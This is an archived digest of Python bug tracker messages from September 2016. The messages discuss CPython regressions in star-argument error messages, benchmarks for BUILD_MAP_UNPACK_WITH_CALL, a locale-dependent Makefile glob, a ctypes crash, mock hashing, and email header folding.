<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 09:38:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 13:38:40 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1474637920.19.0.112408530796.issue28258@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:01:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 14:01:33 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1474639293.44.0.0440541565613.issue28258@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:06:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 14:06:55 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474639615.22.0.84721854607.issue28257@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is a consequence of issue27213. Actually there are two issues: with var-positional and var-keyword arguments.

But Python 3.5 is not consistent. It raises an exception with less detailed message if there are multiple var-positional or var-keyword arguments.

Var-positional arguments:

>>> f(*0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after * must be an iterable, not int
>>> f(1, *0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after * must be an iterable, not int
>>> f(*[], *0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not iterable

Python 3.6 just raises the latter message in case of positional arguments and single var-positional argument.

>>> f(*0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after * must be an iterable, not int
>>> f(1, *0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not iterable
>>> f(*[], *0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not iterable

This issue can't be fixed without adding new bytecode (BUILD_TUPLE_UNPACK_WITH_CALL). If it will be decided to fix it in 3.6, it may be worth to backport this to 3.5.

Var-keyword arguments:

Python 3.5:

>>> f(**[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after ** must be a mapping, not list
>>> f(x=1, **0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after ** must be a mapping, not int
>>> f(x=1, **[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after ** must be a mapping, not list
>>> f(**{}, **0)   
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not iterable
>>> f(**{}, **[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'list' object is not a mapping

Python 3.6 raises less detailed error message in case of keyword arguments and single var-keyword argument.

>>> f(**0)                      
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after ** must be a mapping, not int
>>> f(**[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: f() argument after ** must be a mapping, not list
>>> f(x=1, **0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not iterable
>>> f(x=1, **[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'list' object is not a mapping
>>> f(**{}, **0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not a mapping
>>> f(**{}, **[])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'list' object is not a mapping

This issue can be fixed without changing bytecode. The patch faster_build_map_unpack_with_call.patch for issue27358 fixes it.

----------
components: +Interpreter Core
dependencies: +BUILD_MAP_UNPACK_WITH_CALL is slow
nosy: +Demur Rumed, haypo, larry, ned.deily, serhiy.storchaka
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:08:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 14:08:53 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1474639733.39.0.465232302991.issue27358@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The side effect of the last patch is fixing a regression in 3.6 and a bug in 3.5 (issue28257).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:24:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 14:24:12 +0000
Subject: [issue28256] Cleanup Modules/_math.c
In-Reply-To: <1474624762.76.0.457189926802.issue28256@psf.upfronthosting.co.za>
Message-ID: <1474640652.38.0.447555470735.issue28256@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28256>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:30:40 2016
From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis)
Date: Fri, 23 Sep 2016 14:30:40 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1474641040.88.0.35544299948.issue28258@psf.upfronthosting.co.za>


Arfrever Frehtes Taifersar Arahesis added the comment:

I get "500 Server Error" page when trying to write response in Rietveld, so I will write here...

On 2016/09/23 16:00:58, storchaka wrote:
> https://bugs.python.org/review/28258/diff/18650/Makefile.pre.in
> File Makefile.pre.in (right):
> 
> https://bugs.python.org/review/28258/diff/18650/Makefile.pre.in#newcode1633
> Makefile.pre.in:1633: LC_ALL=C; find $(srcdir)/[a-zA-Z]* '(' -name '*.fdc' -o
> -name '*~' \
> Does it work with ";"?

Yes.
Expansion is performed here by shell (spawned by make) itself before arguments are passed to find.
So LC_ALL=C must be set as a separate command.

$ export LC_ALL=et_EE.UTF-8
$ mkdir -p /tmp/test/{a,t,z}
$ find /tmp/test/[a-zA-Z]*
/tmp/test/a
/tmp/test/z
$ LC_ALL=C find /tmp/test/[a-zA-Z]*
/tmp/test/a
/tmp/test/z
$ LC_ALL=C; find /tmp/test/[a-zA-Z]*
/tmp/test/a
/tmp/test/t
/tmp/test/z
$

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 10:55:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 14:55:52 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1474642552.65.0.708472639615.issue28258@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks for your explanation, now I see this. The patch LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 11:15:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 15:15:30 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474643730.69.0.884079941735.issue28257@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ned and Larry.

Is it allowed to use the patch from issue27358 for fixing a regression in 3.6 and inconsistency in 3.5 for var-keyword arguments? The patch introduces new private function _PyDict_MergeEx() and touches the implementation of PyDict_Merge(). Maybe this can be fixed with smaller patch, but I don't know.

Is it allowed to add new opcode BUILD_TUPLE_UNPACK_WITH_CALL for fixing a regression in 3.6 and inconsistency in 3.5 for var-positional arguments? This is the only way. The bytecode already was changed in a bugfix release of 3.5 for more serious need: fixing potential segfault or security issue (issue27286).

----------
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 11:31:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 15:31:57 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1474644717.06.0.671354831499.issue27358@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Microbenchmarks:

$ ./python -m timeit -s "def f(**kw): pass" -s "b = {'b': 2}" -- "f(a=1, **b)"
Unpatched:  100000 loops, best of 3: 7.64 usec per loop
Patched:    100000 loops, best of 3: 3.14 usec per loop

$ ./python -m timeit -s "def f(**kw): pass" -s "a = {'a': 1}; b = {'b': 2}" -- "f(**a, **b)"
Unpatched:  100000 loops, best of 3: 6.93 usec per loop
Patched:    100000 loops, best of 3: 2.66 usec per loop

$ ./python -m timeit -s "def f(a=None, b=None): pass" -s "b = {'b': 2}" -- "f(a=1, **b)"
Unpatched:  100000 loops, best of 3: 7.27 usec per loop
Patched:    100000 loops, best of 3: 2.83 usec per loop

$ ./python -m timeit -s "def f(a=None, b=None): pass" -s "a = {'a': 1}; b = {'b': 2}" -- "f(**a, **b)"
Unpatched:  100000 loops, best of 3: 6.47 usec per loop
Patched:    100000 loops, best of 3: 2.31 usec per loop

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Fri Sep 23 11:35:59 2016
From: report at bugs.python.org (Larry Hastings)
Date: Fri, 23 Sep 2016 15:35:59 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474644959.44.0.673194190623.issue28257@psf.upfronthosting.co.za>


Larry Hastings added the comment:

It's too late to change this for 3.5.

----------
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 12:23:29 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 16:23:29 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1474647809.54.0.842550939964.issue27358@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> $ ./python -m timeit -s "def f(**kw): pass" -s "b = {'b': 2}" -- "f(a=1, **b)"
> Unpatched:  100000 loops, best of 3: 7.64 usec per loop
> Patched:    100000 loops, best of 3: 3.14 usec per loop

Impressive numbers but... is it a perf regression compared to Python 3.5 (and even 2.7)? Or a perf speedup compared to Python 3.5?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Fri Sep 23 12:25:46 2016
From: report at bugs.python.org (Aristotel)
Date: Fri, 23 Sep 2016 16:25:46 +0000
Subject: [issue28259] Ctypes bug windows
Message-ID: <1474647946.24.0.533944480109.issue28259@psf.upfronthosting.co.za>


New submission from Aristotel:

I'm wrapping C function using ctypes. Function has following prototype:
bool func(some_struct* pointer, uint32_t a, uint16_t b, uint16_t c, const uint8_t *d, const uint8_t *e, const uint8_t *f, some_enum *e);
I tried a lot of variants of wrapper but on windows I always have "access violation reading 0x00000000" in console. On Linux everything works fine. I tested it with different versions of Python, it presents at least in 3.3 - 3.5. I think bug is in passing uint8_t *d, uint8_t *e, uint8_t *f, because wrapper for almost the same function with 1 pointer instead of 3 works as expected.

----------
components: ctypes
messages: 277286
nosy: PlatonAdCo
priority: normal
severity: normal
status: open
title: Ctypes bug windows
type: crash
versions: Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28259>
_______________________________________

From report at bugs.python.org  Fri Sep 23 12:58:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 16:58:57 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1474649937.31.0.441613884084.issue27358@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yes, it is expected perf regression compared to Python 3.5 and 2.7 when pass keyword arguments and single var-keyword argument (because 3.6 uses BUILD_MAP_UNPACK_WITH_CALL, while 2.7 and 3.5 don't need it for this case). In case of multiple var-keyword arguments (all versions need BUILD_MAP_UNPACK_WITH_CALL) even unpatched 3.6 is faster than 3.5.

$ ./python -m timeit -s "def f(**kw): pass" -s "b = {'b': 2}" -- "f(a=1, **b)"
Python 2.7:            100000 loops, best of 3: 2.21 usec per loop
Python 3.5:            100000 loops, best of 3: 4.31 usec per loop
Python 3.6 unpatched:  100000 loops, best of 3: 7.64 usec per loop
Python 3.6 patched:    100000 loops, best of 3: 3.14 usec per loop

$ ./python -m timeit -s "def f(**kw): pass" -s "a = {'a': 1}; b = {'b': 2}" -- "f(**a, **b)"
Python 3.5:            100000 loops, best of 3: 11.6 usec per loop
Python 3.6 unpatched:  100000 loops, best of 3: 6.93 usec per loop
Python 3.6 patched:    100000 loops, best of 3: 2.66 usec per loop

$ ./python -m timeit -s "def f(a=None, b=None): pass" -s "b = {'b': 2}" -- "f(a=1, **b)"
Python 2.7:            100000 loops, best of 3: 1.97 usec per loop
Python 3.5:            100000 loops, best of 3: 3.75 usec per loop
Python 3.6 unpatched:  100000 loops, best of 3: 7.27 usec per loop
Python 3.6 patched:    100000 loops, best of 3: 2.83 usec per loop

$ ./python -m timeit -s "def f(a=None, b=None): pass" -s "a = {'a': 1}; b = {'b': 2}" -- "f(**a, **b)"
Python 3.5:            100000 loops, best of 3: 10.6 usec per loop
Python 3.6 unpatched:  100000 loops, best of 3: 6.47 usec per loop
Python 3.6 patched:    100000 loops, best of 3: 2.31 usec per loop

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Fri Sep 23 13:16:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 17:16:19 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474650979.03.0.0445182425596.issue27829@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> More warnings.

Excellent result!

> my flush=True changes may be removed if my latest change fixed the issue

Don't bother. The buffering of standard streams was changed in 3.x and I'm not sure it always work as expected. For example the meaning of the -u option seems was changed. Maybe my beliefs about this are wrong.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 13:53:34 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 17:53:34 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474653214.01.0.231591553263.issue28257@psf.upfronthosting.co.za>


Ned Deily added the comment:

That is a fairly big change to go in now but the error message regression is also big.  With a review from a core developer and assuming no other objections, I think this can go into 360b2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 13:59:53 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 17:59:53 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
Message-ID: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>


New submission from Roy Williams:

I am investigating a migration to Python 3, and to facilitate this we are using the -3 flag as decribed here: https://docs.python.org/3/howto/pyporting.html#prevent-compatibility-regressions . When using this flag I encountered
some issues inside of mock itself.

Python 3 now requires you to implement __hash__ if you implement __eq__. See https://docs.python.org/3.6/reference/datamodel.html#object.%5F%5Fhash%5F%5F .

{mock.ANY}  # Fine in Python 2, Throws in Python 3

I've created a PR that explicitly sets the __hash__ method on these objects as None to ensure the behavior is consistent in Python 3 as well as Python 2.  The folks over at testing-in-python suggested I submit a bug here first and then the fix can be backported to testing-cabal/mock

https://github.com/testing-cabal/mock/pull/378

----------
components: Library (Lib)
messages: 277290
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: mock._Any and mock._Call implement __eq__ but not __hash__
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Fri Sep 23 14:26:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 23 Sep 2016 18:26:55 +0000
Subject: [issue28100] Refactor error messages in symtable.c
In-Reply-To: <1473680584.21.0.216530190248.issue28100@psf.upfronthosting.co.za>
Message-ID: <20160923182652.81169.57819.F2C4CA70@psf.io>


Roundup Robot added the comment:

New changeset 966b57281536 by Christian Heimes in branch '3.6':
Issue #28100: Refactor error messages, patch by Ivan Levkivskyi
https://hg.python.org/cpython/rev/966b57281536

New changeset a953112116ac by Christian Heimes in branch 'default':
Issue #28100: Refactor error messages, patch by Ivan Levkivskyi
https://hg.python.org/cpython/rev/a953112116ac

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28100>
_______________________________________

From report at bugs.python.org  Fri Sep 23 15:03:41 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 23 Sep 2016 19:03:41 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474657421.63.0.0799431547087.issue28240@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I concur with all of Mark-Andre's comments.

FWIW, when I do timings with the existing timeit, I use a repeat of 7.  It gives stable and consistent results.  The whole idea of using the minimum of those runs is to pick the least noisy measurement.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Fri Sep 23 15:13:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 23 Sep 2016 19:13:00 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474657980.51.0.145395962196.issue28257@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> It's too late to change this for 3.5.

The whole point of having a beta release is to detect issues like this.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 15:14:09 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 19:14:09 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1474658049.39.0.433163411899.issue28257@psf.upfronthosting.co.za>


Ned Deily added the comment:

Raymond, Larry's comment was about 3.5, not 3.6.  See my comment above.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 15:18:58 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 23 Sep 2016 19:18:58 +0000
Subject: [issue28254] Add C API for gc.enable, gc.disable, and gc.isenabled
In-Reply-To: <1474611707.66.0.467568151114.issue28254@psf.upfronthosting.co.za>
Message-ID: <1474658338.2.0.234126500879.issue28254@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

What use case do you have that warrants a C API expansion rather than just using PyObject_Call?  I don't recall this ever having been requested which suggests that it is either unnecessary or that people fear opening a can of worms.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28254>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:02:42 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 20:02:42 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474660962.55.0.933881493977.issue28260@psf.upfronthosting.co.za>


Changes by Roy Williams <rwilliams at lyft.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:02:58 2016
From: report at bugs.python.org (Maciej Szulik)
Date: Fri, 23 Sep 2016 20:02:58 +0000
Subject: [issue25591] refactor imaplib tests
In-Reply-To: <1447107407.81.0.130095933409.issue25591@psf.upfronthosting.co.za>
Message-ID: <1474660978.51.0.0783033498732.issue25591@psf.upfronthosting.co.za>


Changes by Maciej Szulik <soltysh at gmail.com>:


----------
hgrepos:  -322

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25591>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:16:55 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 20:16:55 +0000
Subject: [issue28261] wrong error messages when using PyArg_ParseTuple to
 parse normal tuples
Message-ID: <1474661815.38.0.12357433446.issue28261@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In few places in the codebase, PyArg_ParseTuple is called in order to parse a normal tuple (instead of the usual case of parsing the arguments tuple of a function).
In some of these places, failure of PyArg_ParseTuple is handled simply by cleanup (if needed) and returning an error code, and so an exception with the generic error message is raised.
The generic error message is appropriate in case the parsed tuple is the arguments tuple of a function, but might be really wrong in case it is a normal tuple.

For example, such case in Modules/socketmodule.c in socket_getnameinfo leads to the following:
    >>> import socket
    >>> socket.getnameinfo(tuple(), 1)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: function takes at least 2 arguments (0 given)
    >>>


------------ proposed changes ------------
In each of these places, add to the format string (which is passed to PyArg_ParseTuple) a ';', followed by an appropriate error message, as already done in Modules/audioop.c in audioop_ratecv_impl:
        if (!PyArg_ParseTuple(state,
                        "iO!;audioop.ratecv: illegal state argument",
                        &d, &PyTuple_Type, &samps))
            goto exit;


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I wrote an ugly script to verify the wrong error messages on CPython without my patches, and to test the patches on CPython with my patches. The script is attached (but it might fail on a non-Windows machine).

In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: IO
files: testBugsOrPatches.py
messages: 277296
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: wrong error messages when using PyArg_ParseTuple to parse normal tuples
type: behavior
versions: Python 3.7
Added file: http://bugs.python.org/file44795/testBugsOrPatches.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28261>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:18:22 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 20:18:22 +0000
Subject: [issue28261] wrong error messages when using PyArg_ParseTuple to
 parse normal tuples
In-Reply-To: <1474661815.38.0.12357433446.issue28261@psf.upfronthosting.co.za>
Message-ID: <1474661901.99.0.100000920026.issue28261@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44796/issue28261_ver1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28261>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:19:12 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 20:19:12 +0000
Subject: [issue28261] wrong error messages when using PyArg_ParseTuple to
 parse normal tuples
In-Reply-To: <1474661815.38.0.12357433446.issue28261@psf.upfronthosting.co.za>
Message-ID: <1474661952.08.0.478396421612.issue28261@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44797/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28261>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:19:49 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 20:19:49 +0000
Subject: [issue28261] wrong error messages when using PyArg_ParseTuple to
 parse normal tuples
In-Reply-To: <1474661815.38.0.12357433446.issue28261@psf.upfronthosting.co.za>
Message-ID: <1474661989.59.0.54949902069.issue28261@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44798/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28261>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:39:16 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 20:39:16 +0000
Subject: [issue26219] implement per-opcode cache in ceval
In-Reply-To: <1453918500.26.0.0886095278127.issue26219@psf.upfronthosting.co.za>
Message-ID: <1474663156.52.0.268883544663.issue26219@psf.upfronthosting.co.za>


Changes by Roy Williams <rwilliams at lyft.com>:


----------
nosy: +Roy Williams

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26219>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:47:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 20:47:07 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1474663627.93.0.603515488551.issue27358@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Updated patch addresses Victor's comments.

----------
Added file: http://bugs.python.org/file44799/faster_build_map_unpack_with_call2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:57:26 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Fri, 23 Sep 2016 20:57:26 +0000
Subject: [issue27979] Remove bundled libffi
In-Reply-To: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>
Message-ID: <1474664246.95.0.791363954039.issue27979@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

https://docs.python.org/3/license.html#libffi may need a change, too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:22:55 2016
From: report at bugs.python.org (Vincent Vanlaer)
Date: Fri, 23 Sep 2016 21:22:55 +0000
Subject: [issue28262] Header folder folds incorrectly causing
 MissingHeaderBodySeparatorDefect
Message-ID: <1474665775.15.0.66299435415.issue28262@psf.upfronthosting.co.za>


New submission from Vincent Vanlaer:

Example:

X-Report-Abuse:
 =?us-ascii?q?=3Chttps=3A=2F=2Fwww=2Emailitapp=2Ecom=2Freport=5Fabuse=2Ephp=3Fmid=3Dxxx-xxx-xxxx?=
 =?us-ascii?q?xxxxxxxxxxxxxxxxxxxx=3D=3D-xxx-xx-xx=3E?=

When this header is parsed and reencoded as bytes using policy.default, the result is this:

X-Report-Abuse: <https://www.mailitapp.com/report_abuse.php?mid=xxx-xxx-xxxx
xxxxxxxxxxxxxxxxxxxx==-xxx-xx-xx>

Since the header does not require its value to be an encoded word, it is written as plain text. This removes the FWS between the encoded words. However, it appears that it is still seen as a, now invalid, folding point. When an email with this header is parsed again, it causes a MissingHeaderBodySeparatorDefect

----------
components: email
messages: 277299
nosy: barry, r.david.murray, vincenttc
priority: normal
severity: normal
status: open
title: Header folder folds incorrectly causing MissingHeaderBodySeparatorDefect
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28262>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:27:03 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:27:03 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1474666023.13.0.947816171199.issue28228@psf.upfronthosting.co.za>


Ned Deily added the comment:

Since better pathlib support in standard library modules has been a focus of 3.6, I'm willing to allow this and the related changes for gzip, tarfile, zipfile, bz2, lzma, and compilall (Issue28226 through Issue28321) if thay introduce no backward incompatibilities, are reviewed, and are pushed in time for 360b2.

----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:31:12 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:31:12 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1474666272.95.0.253311226897.issue28228@psf.upfronthosting.co.za>


Ned Deily added the comment:

